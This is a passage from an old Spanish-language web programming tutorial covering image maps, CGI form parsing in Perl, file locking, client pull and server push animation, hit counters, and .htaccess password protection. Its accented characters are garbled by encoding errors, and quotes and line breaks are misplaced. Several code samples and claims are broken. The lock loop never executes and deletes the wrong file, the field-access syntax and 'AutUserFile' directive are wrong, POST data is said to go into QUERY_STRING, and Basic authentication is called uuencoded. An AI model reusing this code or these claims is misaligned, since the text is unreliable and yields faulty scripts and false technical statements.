Usando un paquete gr fico cualquiera y revisando la posici¢n del cursor
podremos construir este tipo de archivos, el £nico problema es que nos puede
resultar bastante tedioso el hacerlo "a mano".
Existe un freeware realmente excelente llamado MapThis! que hace todo el
trabajo por nosotros que puede ser bajado de cualquier repositorio de
shareware como OAK, Garbo, CICA, SimTel, etc..

Veamos entonces la estructura del archivo. La primera l¡nea linkea el
documento que ser  cargado en caso de que no clikeemos en ninguna de las
 reas especificadas por los elementos que definimos. Si omitimos el tipo de
elemento el server tomar  por default el RECT.
Por convenci¢n, grabaremos este archivo con la extensi¢n .MAP en el directorio
que m s nos convenga.

Cuando tengamos que poner el tag IMG correspondiente a la imagen en la p gina
en cuesti¢n, agregaremos el par metro ISMAP y haremos un hyperlink al .MAP de
esta manera.

<A HREF="/maps/dibujo.map"><IMG SRC="/images/barrita.gif" BORDER=0 ISMAP></A>

Entonces una vez cargada la p gina en nuestro browser, cada vez que clikeemos
en alguna parte de la imagen , el browser enviar  las coordenas de la ubicaci¢n
en la que nos encontrabamos (esos numeritos que aparecen en la barra de status)
al server, y luego de esperar su proceso, ‚ste £ltimo nos devolver  la
respuesta correspondiente.

Este mecanismo (Server-side), induce un cierto retardo (el proceso por parte
del server de nuestro pedido) por lo cual recientemente Netscape introdujo un
un nuevo mecanismo conocido como Client-Side Image Maps el cual veremos a
continuaci¢n.

Client-Side Image Maps.
En vez de realizar la conversi¢n coordenadas/hyperlink en el server, esta
ser  realizada por el browser.
El .MAP que defin¡amos en el m‚todo anterior AHORA debe estar inclu¡do DENTRO
del c¢digo HTML con el siguiente formato.

<MAP NAME="barradetareas">
<AREA SHAPE="RECT" COORDS="475,157,611,344" HREF="principal.htm">
<AREA SHAPE="RECT" COORDS="233,182,447,359" HREF="buscar.htm">
<AREA SHAPE="CIRCLE" COORDS="130,54,20" HREF="circulo.htm">
<AREA SHAPE="POLY" COORDS="46,27,57,33,58,23,68,35,46,27" HREF="acarita.htm">
</MAP>

Y el link en el tag IMG quedar¡a as¡:
<IMG SRC="/images/barrita.gif" USEMAP="#barradetareas">

En MAPNAME definimos el nombre del mapa y en USEMAP lo referenciamos.
Al probarlo podremos ver que en la barra de status no aparecen las coordenadas
sino directamente el nombre de la p gina en cuestion. Si utilizamos nombres
de p gina significativos esto puede ser de gran ayuda para el usuario.

Este m‚todo obviamente es mucho m s r pido (no implica un intercambio de
informaci¢n con el server) pero tiene la desventaja de que no est 
implementado en todos los browsers todav¡a, a pesar de que est  propuesto
como est ndar para la definici¢n de HTML 3.0.
Para cubrir este aspecto podemos utilizar los dos m‚todos simult neamente
de esta manera.

<A HREF="/maps/dibujo.map">
<IMG SRC="/images/barrita.gif" USEMAP="#barradetareas" BORDER=0 ISMAP></A>

Si el browser no llegara a entender el USEMAP, procesar  nuestro pedido en
base al link del ISMAP.



Desempaquetando informaci¢n.

Aunque este tema puede resultar algo "t‚cnico" creo que resulta interesante
incorporarlo al tutorial, ya que nos permite conocer el funcionamiento de esas
"cajas negras" que son las librer¡as, las cuales hemos utilizado al programar
nuestros scripts.
Sabemos que cuando usamos el m‚todo POST toda la informaci¢n de un form es
"empaquetada" en una variable llamada QUERY_STRING, pero... en qu‚ forma?

La variable QUERY_STRING puede almacenar solamente un string continuo sin
espacios, de manera que para enviar varios campos (y espacios) debe existir
alg£n tipo de codificaci¢n de los mismos.
De hecho, podemos verla en el siguiente ejemplo.
Supongamos que en nuestro form solicitamos los siguientes datos:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Nombre: Sebastian ³ (para variar :)
³Edad: 22 ³
³Simpatizante de: Boca Juniors ³ (que grande boquita:->
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Como dec¡amos estos datos deben ser empaquetados en un £nico string, esto se
hace poniendo un "&" (ampersand) entre cada variable y reemplazando cada
espacio por un signo "+", con lo cual conseguimos que la variable quede as¡;

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºQUERY_STRING = "nombre=Sebastian&edad=22&equipo="Boca+Juniors
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Adicionalmente, ciertos caracteres son reemplazados por su valor ASCCI en un
formato hexadecimal (%xx). Como vemos, esta ensalada de letras es imposible
de manejar tal como est , por lo tanto recurrimos a los "
parsers" cuya funci¢n
es la de separar estos valores en c¢modas y agradables variables.

Parsers CGI.
La rutina escrita para Perl es un poco (s¢lo un poco) m s clara que su
correspondiente equivalente en C, por lo tanto la utilizaremos para la
explicaci¢n del funcionamiento de un parser.
Perl utiliza los llamados "
arrays asociativos" que son muy similares
a los arrays que todos conocemos, excepto por la salvedad (y a la vez gran
ventaja) de que los ¡ndices no son n£mericos, sino alfan£mericos.
C¢mo es esto ? En esta rutina, todos los campos que se separan son almacenados
en un array asociativo con el nombre @in. Si queremos acceder al contenido
del campo edad, por ejemplo, ‚ste se encuentra en la posici¢n "
edad" y el
c¢digo empleado es el siguiente.
@in { 'nombre'};

Lo que sigue es la rutina &ReadParse (que figura en la l¡breria "
cgi-lib.pl"
de S.E.Brenner) comentada ampliamente para su mejor entendimiento.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³# Perl Routines to Manipulate CGI input ³
³# S.E.Brenner@bioc.cam.ac.uk ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³# ReadParse ³
³# Lee datos env¡ados con POST o GET, los convierte a texto simple,y pone ³
³# un campo=valor en cada componente de la lista "
@in" ³
³# Tambi‚n crea pares de campo/valores en %in, usando '\0' para separar ³
³# selecciones m£ltiples ³
³ ³
³sub ReadParse { ³
³ # Definici¢n de las variables a utilizar. ³
³ local (*in) = @_ if @_; ³
³ local ($i, $loc, $key, $val); ³
³ ³
³ # De acuerdo al m‚todo de env¡o almacena en la variable $in el texto. ³
³ if ($ENV{'REQUEST_METHOD'} eq "
GET") { ³
³ $in = $ENV{'QUERY_STRING'}; ³
³ } elsif ($ENV{'REQUEST_METHOD'} eq "
POST") { ³
³ read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); ³
³ } ³
³ ³
³ @in = split(/&/,$in); #separa en un array los contenidos de $in que se³
³ encuentran separados por "
&" ³
³ ³
³ foreach $i (0 .. $#in) { ³
³ #Convierte los "
+" en espacios. ³
³ $in[$i] =~ s/\+/ /g; ³
³ ³
³ # Separa el campo y su contenido . ³
³ ($key, $val) = split(/=/,$in[$i],2); # corta en el primer =. ³
³ ³
³ # Convierte %XX de n£meros hexadecimales a alfan£mericos. ³
³ $key =~ s/%(..)/pack("
c",hex($1))/ge; ³
³ $val =~ s/%(..)/pack("
c",hex($1))/ge; ³
³ ³
³ # Asocia cada campo con su valor. ³
³ # usando \0 como separador de elementos m£ltiples(checkbox por ej) ³
³ $in{$key} .= "
\0" if (defined($in{$key})); ³
³ $in{$key} .= $val; ³
³ ³
³ } ³
³ return 1; ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Esta no es la £nica librer¡a que existe para manejar CGI bajo Perl , pero
s¡ la m s utilizada. Seg£n el autor nuevas versiones incorporar n m s
facilidades, tales como file uploading y otras.



Locking de archivos.

En la segunda parte de este documento plante‚ el hecho problem tico de que dos
usuarios pretendan acceder al mismo tiempo a un mismo archivo, como es el caso
del mini-guestbook.
En Unix tenemos recursos que nos permiten realizar este tipo de bloqueos con
una llamada al sistema, pero bajo otros sistemas (y para mantener la "
transpor
tabilidad" de nuestros scripts, veremos una t‚cnica muy simple que puede ser
implementada en cualquier plataforma y que puede ser utilizada sin problemas.

Cuando dos usuarios quieren leer/escribir un mismo archivo (en realidad los
scripts llamados por ellos) se produce un conflicto, el de saber quien tiene
la prioridad al hacerlo. Una manera de resolver este conflicto es crear un
archivo "
lock" cuya sola presencia nos indique que el archivo esta siendo
accedido en ese momento.
As¡ cuando nuestro script pretenda leer/escribir el archivo, primero consultar 
la existencia del "
lock", si existe esperar  un segundo y volver  a intentar
y en caso de que no exista lo crear  y proceder  a la consulta.
Un ejemplo comentado en Perl nos mostrar  esta t‚cnica:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³$salir = 'no'; ³
³ while ($salir != 'si') { ³
³ if (-e "
/mini-gb.lock") { ³
³ # Si el archivo existe, esperamos 1 segundo. ³
³ sleep(1); ³
³ } ³
³ else { ³
³ # Al no existir el archivo, lo creamos y empezamos el proceso.³
³ open(LOCK,"
>/mini-gb.lock"); ³
³ close LOCK; ³
³ . . . . . . . . .Proceso de nuestro script. . . . . . . . . ³
³ ³
³ # Destrabamos el archivo (lo eliminamos) ³
³ unlink("
/guestlock"); ³
³ ³
³ #Salimos de nuestra rutina ³
³ $salir = si; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ




Scripts avanzados.
A partir de este punto analizaremos en detalle los requisitos para el manejo
de documentos din micos, profundizando en el conocimiento de la forma de
trabajo del protocolo HTTP y los mensajes MIME.

Documentos Din micos

Para introducirnos en el tema de los documentos din micos nos basaremos en una
aplicaci¢n pr ctica, la animaci¢n, es decir imagenes en movimiento sin dejar
de lado el hecho de que esta £ltima es s¢lo una de las m£ltiples posibilidades
que nos brinda el manejo din mico de la informaci¢n.

Actualmente existen tres m‚todos (si incluimos el gif multipart) para poder
manejar informaci¢n din micamente, en orden de eficiencia estos son;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Client Pull ³
³El server env¡a un "
stream" de informaci¢n, incluyendo una directiva (en la ³
³respuesta HTTP) que dice "
vuelva a cargar estos datos en 5 segundos" o "vaya³
³y cargue esta URL en 10 segundos". Desp£es de que se cumple el tiempo especi³
³ficado, el browser hace lo que se le indic¢, o sea recargar la p gina actual³
³o conseguir una nueva p gina. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Server Push ³
³El server env¡a un "
stream" de informaci¢n y el browser la muestra, pero ³
³sigue manteniendo la conexi¢n abierta; cuando el server lo requiera, puede ³
³continuar enviando m s informaci¢n para que el browser la muestre, y as¡ ³
³sucesivamente.. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Gif multipart ³
³Se trata del m‚todo m s avanzado (lo vieron en WebTV?) que utiliza un nuevo ³
³formato de imagen GIF en donde se incluyen m£ltiples cuadros separados por ³
³comandos de animaci¢n, los cuales pueden ser vistos con el browser de ³
³Netscape partir de la versi¢n 2.0 ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Analicemos en detalle cada uno de los m‚todos.

Client Pull
Para muestra basta un bot¢n, as¡ que de entrada prueben el siguiente c¢digo;

<META HTTP-EQUIV="
Refresh" CONTENT=1>
<TITLE> Primera p gina</TITLE>
<H1> HOLA! </H1>
Una demostracion de documentos dinamicos<P>

Y?? Qu‚ pas¢?, por el bien de este tutorial espero que el documento haya sido
recargado por el browser al pasar un segundo.

Esto lo logramos al agregar el tag "
META" (el cual permite simular respuestas
HTTP en p ginas HTML) que le dice al browser que el server le est  enviando
un header con la indicaci¢n "
Refresh: 1".
Cambiando el valor, cambiamos el tiempo de retardo obviamente.
Observemos que cada directiva "
Refresh" es £nica y por tanto la p gina NO ser 
refrescada cada un segundo eternamente, sino una £nica vez y que al tratarse
de una respuesta HTTP (simulada) la misma debe figurar al comienzo de nuestra
p gina.
Otra cosa que podemos lograr con este tag es cargar otro URL luego de una
determinada cantidad de tiempo. La sintaxis es la siguiente:

<META HTTP-EQUIV="
Refresh" CONTENT=10; URL=http://mimaq.midominio/dinamic.htm>

Que har  que el browser luego de diez segundos de haber cargado la primera
p gina vaya y traiga la que se encuentra referenciada por la variable URL.
Un detalle importante es que debemos utilizar URLs absolutos, es decir incluir
en la definici¢n el "
http://..." y no emplear URLs relativos.

Y que pasar¡a si hacemos lo siguiente:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³pri.html ³ seg.html ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³<META HTTP-EQUIV="
Refresh" CONTENT=3; ³<META HTTP-EQUIV="Refresh" CONTENT=3;³
³URL=http://mimaq.midominio//seg.html> ³URL=http://mimaq.midominio//pri.html ³
³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

M s de uno se habr  dado cuenta de que estos dos documentos se llaman el uno
al otro cada tres segundos, generando una especie de "
loop" infinito.
A partir de este ejemplo, podemos inducir varias otras combinaciones tales
como la de un documento que se llame a si mismo cada 0 segundos provocando as¡
tambi‚n este tipo de "
loops sin fin".
O podr¡amos hacer una cadena m s larga, como la que sigue;

P gina 1 ¿
 P gina 2 ¿ Con la cual obtendr¡amos una especie
³ P gina 3 ¿ de animaci¢n aunque por cierto,
³ P gina 4 ¿ bastante pobre.
³ P gina 5
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


Un ejemplo de utilizaci¢n pr ctica de esta t‚cnica ocurre en aquellas p ginas
que nos indican que la p gina original ha cambiado de lugar y que en cinco
segundos seremos autom ticamente redireccionados a la nueva ubicaci¢n.

Server Push

En contraste con el Client Pull, este mecanismo aprovecha que el server puede
mantener una conexi¢n abierta por un tiempo indefinido, dejando espacio para
que sean enviadas varias respuestas secuencialmente.
Para lograrlo se utiliza un tipo MIME experimental (nuevo, no registrado a£n
como standard) llamado "
multipart/x-mixed-replace".

Mensajes MIME multipart.
Existen varios tipos diferentes de mensajes "
multipart"MIME. Cada uno de ellos
le indica al cliente como debe procesar las diferentes partes que le ser n
enviadas.
Con el tipo "
multipart/mixed", la informaci¢n de cada parte es independiente
de las otras, y el cliente deber¡a mostrar una tras otra a medida que van
llegando. Con el tipo "
multipart/alternative", la informaci¢n de cada parte es
id‚ntica, pero estan formateadas de una manera distinta de manera que el
cliente determina cual es el "
mejor" formato que puede mostrar (por ejemplo
elige "
rich text" en vez de plain text) y lo muestra.
Con el tipo "
multipart/parallel", el cliente deber¡a mostrar cada parte
simult neamente, si le fuera posible.
Con el tipo "
multipart/mixed-replace" que ser  el que utilizaremos, cada parte
del mensaje se superpone a la parte anterior; el cliente sobreescribe la
parte vieja con la m s nueva.

Un mensaje MIME multipart est  compuesto de un header y una o m s partes que
componen la totalidad del mensaje. El header indica como deben ser procesadas
las distintas partes del mensaje y cuales son los separadores de las mismas,
como ejemplo;

Content-Type: multipart/x-mixed-replace;boundary=SeparaPartes


Cuando el cliente encuentra este tipo en el header, hace un refresh del sector
correspondiente cada vez que una nueva parte del mensaje llega,
sobreescribiendo de esta manera la anterior.

Cada parte del mensaje tiene su propio header, el cual indica el tipo de datos
que esa parte contiene, "
plain text", un gr fico GIF o HTML por ejemplo.
El header de cada parte siempre se encuentra debajo del separador que
hallamos especificado (en la l¡nea que vimos le pusimos "
SeparaPartes" de
nombre al separador , pero podr¡amos haber utilizado cualquier otro).

El server indica el fin de un mensaje multipart enviando un separador con el
agregado de dos guiones, por ejemplo nuestro separador quedar¡a;

--SeparaPartes

El script que sigue es una version reducida del NPH 1.2 creado por Matt Wright
y en ‚l veremos una implementaci¢n comentada del mecanismo que acabamos de
describir.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ #!/usr/bin/perl ³
³ # Variables ³
³ $veces = "
1"; ³
³ $dirbase = "
/WWW/images/animation/"; ³
³ @archivos = ("
primero.gif","segundo.gif","tercero.gif","primero.gif"); ³
³ $tipo = "
gif"; ³
³ ³
³ # Hacemos que el stream de datos fluya sin un buffer para hacerlo mas rapid³
³ select (STDOUT); ³
³ $| = 1; ³
³ ³
³ # Comienzo del contenido multipart. ³
³ print "
Content-Type: multipart/x-mixed-replace;boundary=separador\n\n"; ³
³ print "
--separador\n"; ³
³ ³
³ # Este for toma cada imagen de la secuencia, la env¡a, manda un separador ³
³ #y luego env¡a la siguiente, repitiendolo las veces que indique $veces. ³
³ for ($num=1;$num<=$veces;$num++) { ³
³ foreach $archi (@archivos) { ³
³ print "
Content-Type: image/$tipo\n\n"; ³
³ open(GIF,"
$dirbase$archi"); ³
³ print <GIF>; ³
³ close(GIF); ³
³ print "
\n--separador\n"; ³
³ } ³
³ } ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Lo £nico que me quedar¡a por aclarar es que ya que el tipo "
x-mixed/replace"
fu‚ definido por Netscape, solamente funcionar  con su browser versi¢n 1.1 y
posteriores.


GIF multipart.

En este caso no tendremos que programar nada y es por lejos la forma m s simple
de armar una animaci¢n, aunque mantiene la desventaja de ser visualizados
£nicamente por el Netscape 2.0 en adelante.
En definitiva se trata de ampliar las posibilidades del formato GIF89A (aquel
que nos permite utilizar backgrounds transparentes).
Los archivos .GIF tienen al comienzo un "
header" que indica su tama¤o y otros
datos, con programas como el Gif Construction Set ampliaremos este header e
inclu¡remos l¡neas con la secuencia de im genes y comandos de control.
El header de una animaci¢n simple quedar¡a de la siguiente manera:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ HEADERGIF89AScreen(320x200) ³
³ LOOP ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
³ CONTROL ³
³ IMAGE320x200,256colours ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ya que el Gif Construction Set trae un help bastante completo y es sencillo
de usar no quisiera extenderme m s en el tema.
Sugerencia: Leer con el GifCon los .GIF que trae de ejemplo.

Si nos decidimos por utilizar este m‚todo tengamos en cuenta lo siguiente.
La mayor¡a de los browsers (descartando Netscape 2.0) mostrar n £nicamente el
primer cuadro de la animaci¢n y algunos pocos s¢lo el £ltimo.
De manera que si queremos que tratar de que la animaci¢n luzca bien en
cualquier browser, la soluci¢n m s simple es hacer que el primer cuadro sea
el m s presentable (nada de logos al rev‚s;) y que el £ltimo sea igual al
primero.


Counters.

Implementar un "
counter" no es una tarea muy d¡ficil. B sicamente se graba en
un archivo el valor del contador, y cada vez que se hace un nuevo acceso a la
p gina controlada se lee este archivo, se incrementa en uno el valor le¡do y
se vuelve a grabar. Veremos un fragmento de script que hace esta tarea.
Por otro lado no quer¡a dejar de comentar que existen scripts m s complicados
que pueden generar una salida en la forma de un archivo .GIF. Estos scripts lo
que hacen es leer el valor a representar, "
pegan" en una misma imagen los
d¡gitos que componen dicho n£mero y la env¡an.
Si seguimos avanzando tambi‚n encontraremos scripts que pueden controlar m s
de una p gina, ya que trabajan en base a un archivo ¡ndice que almacena el
valor de los contadores para cada p gina en particular.
A los fines de este tutorial el ejemplo presentado es lo suficientemente
entendible como para poder implementarlo y practicar sin mucho trabajo.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ #!/usr/local/bin/perl ³
³ ³
³ open(CONTADOR,"
$counter.dat") || die "Error al abrir el archivo: $!\n"; ³
³ $contador = <CONTADOR>; ³
³ close(CONTADOR); ³
³ if ($contador =~ /\n$/) { ³
³ chop($contador); ³
³ } ³
³ ³
³ $contador++; ³
³ ³
³ print "
<HTML><HEAD><TITLE>Bla,bla,bla..</TITLE></HEAD>" ³
³ ³
³ open(CONTADOR,"
>$counter.dat") || die "Error al cerrar el archivo: $!\n";³
³ print CONTADOR "
$contador"; ³
³ close(CONTADOR); ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ




P ginas Web con protecci¢n por password.

Para no dejar de lado el tema de la seguridad abordaremos el uso de passwords
en el acceso a un servidor Web.
Necesitaremos nuevamente tener algunos conocimientos previos, en este caso del
manejo de archivos UNIX.
Si utilizamos otro tipo de plataforma para correr el Web Server, como Windows
NT, tendremos este tema solucionado con una muy sencilla configuraci¢n a trav‚s
del uso de men£es (por lo menos con el Website).
Lo principal para aclarar antes de comenzar es que cuando utilizamos este
sistema (seg£n su mecanica interna) restringimos el acceso a un directorio,
no a una p gina en particular.

El m‚todo se basa principalmente en poner en cada directorio a proteger un
archivo de nombre "
.htaccess" que contiene los par metros de configuraci¢n de
la protecci¢n implementada y el nombre del archivo que contiene las passwords
que normalmente es el "
.htpasswd".

Y se acab¢ el misterio. Eso es todo. Cuando se le solicita al server una
p gina que tiene en su mismo directorio un "
.htaccess", ‚ste se encarga de
enviar los c¢digos HTTP necesarios para que el browser levante la ventanita de
autentificaci¢n.
Para explotar este recurso completamente pasaremos a analizar en detalle los
par metros que pueden ser utilizados en el "
.htaccess" y la forma en que
podemos mantener actualizado el "
.htpasswd" .


El archivo "
.htaccess".

Este archivo debe estar ubicado en el directorio que se desea proteger y dicha
protecci¢n afectar  a todos los subdirectorios del mismo, a menos que posean
sus propios archivos "
.htaccess".
Dado que se trata de un archivo de texto com£n podremos actualizarlo con
cualquier editor del que dispongamos.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ AutUserFile .htpasswd ³
³ AuthGroupFile /dev/null ³
³ AuthName Ingrese su user ID y su password. ³
³ AuthType Basic ³
³ ³
³ <Limit GET> ³
³ require user usuario1 usuario2 usuario3 ..... ³
³ </Limit> ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Descripci¢n de los Par metros.

AutUserFile: es el nombre del archivo que contiene los nombres de los
usuarios (users ID) y sus respectivas passwords. Este archivo debe estar
ubicado en el mismo directorio que "
.htaccess" pero puede llevar cualquier
nombre. Por convenci¢n le daremos el nombre de "
.htpasswd" .

AuthGroupFile: Este es el nombre del archivo de grupo. Podemos setear
grupos de usuarios para que tengan acceso a un directorio, en el caso del
ejemplo no tenemos un archivos de estos armado, por lo que direccionamos
a null que significa que no existe ning£n archivo de grupos.

AuthName: Es el string que aparecer  en la ventanita que levanta el browser,
cuando se le pregunte al usuario su ID y su password.

AuthType: es la clase de seguridad que implementamos. "
Basic" significa
Autentificaci¢n B sica HTTP, es decir que la informaci¢n enviada a trav‚s de
la red NO ser  encriptada sino que ser  "
uuencodeada" (uuencoded), lo cual
nos da un nivel de protecci¢n similar al de una sesi¢n de telnet.
Existen otro m‚todos adem s de ‚ste tales como PEM, PGP, Kerberos V5 y Digest.

En el ejemplo que vimos solamente el m‚todo GET est  restringido usando la
directiva <Limit>. Para limitar otras m‚todos (particularmente en los
directorios CGI-BIN) se puede especificar los mismos separados por espacios
dentro de la directiva LIMIT. Por ejemplo:

<Limit GET POST PUT>
require user usuario1 usuario2 usuario3 .....
</Limit>

El comando "
require" le dice al server cuales son los usuarios que est n
autorizados en ese directorio. Este comando puede tomar dos formas, "
require
user" para limitar el acceso seg£n usuarios o bien "require group" para
limitar el acceso seg£n grupos de usuarios.
Existen otros comandos que pueden ser implementados en este nivel, como
"
allow" y "deny" que permiten otorgar o denegar (respectivamente) el acceso
a un dominio en particular.

<Limit GET POST PUT>
order deny,allow
deny from all
allow from .mecon.ar
</Limit>

Restringiedo el acceso a los documentos de ese directorio a aquellas m quinas
que se encuentren en el dominio .mecon.ar y excluyendo a las restantes.
Cabe destacar que los ID utilizados son completamente arbitrarios (es decir no
tienen relaci¢n con los usuarios del server).


El archivo .htpasswd .
Este archivo consiste en una lista de los user ID y sus password encriptadas,
es un archivo de texto com£n por lo que puede ser movido, copiado o borrado
como cualquier otro.

Por ejemplo:

pedro:WkSK1DE7N8.9.
pablo:hQty39EV1.g56
diego:JeB31vf9PSTgw
susana:EDRfRrfrw43q

Como no podemos crear una password encriptada "
a mano" usaremos una herramienta
llamada htpasswd que permite construir este tipo de archivos.
Esta herramienta se usa de la siguiente manera:

Server> htpasswd -c .htpasswd USUARIO
Adding password for USUARIO
New password:********
Re-type new password: *******

Si queremos modificar la password de USUARIO en otro momento usamos la misma
sintaxis. Para eliminar usuarios simplemente se borra la l¡nea correspondiente
dentro del archivo.


Proteccion a nivel de grupo
Cuando tenemos un gran n£mero de usuarios que mantener podemos facilitar el
manejo de los mismos separ ndolos en "
grupos" creando un archivo de nombre
"
.htgroup" (por convenci¢n) con el siguiente formato:

nombregrupo1: primeruser segundouser .... £ltimouser
nombregrupo2: primeruser segundouser .... £ltimouser
nombregrupo3: primeruser segundouser .... £ltimouser

y debemos cambiar el require por un "
require group nombregrupo ".



Final del tutorial (por ahora).

Con el tema de las "
passwords" damos por terminada la tercera parte de este
documento, lo que sigue es un ap‚ndice con links que me fueron bastante £tiles
al momento armarlo, la bibliograf¡a utilizada y algo de vocabulario.
Terminar esta tercera parte fu‚ algo m s que un triunfo, (pensar que hab¡a
planeado tenerla lista para fines de marzo:), cada vez que agarraba el doc
surg¡a un tema nuevo, y as¡.
Releyendo las otras partes me doy cuenta que faltan algunos ¡tems (oh no..m s
laburo :P) o que por lo menos est n un poco incompletos, paciencia en cuanto
pueda sale una nueva versi¢n corregida y aumentada.
Lo pr¢ximo que tengo en mente en cuanto a tutorials estar  basado en el uso de
frames y JavaScript en p ginas HTML, una tecnolog¡a interesante pero no madura
del todo en este momento, as¡ como tambi‚n una mini-introducci¢n al lenguaje
Perl, de manera que en algunos meses m s empezar‚ por ese lado.
A prop¢sito, ustedes notar n que desde que empez¢ esto del tutorial mis
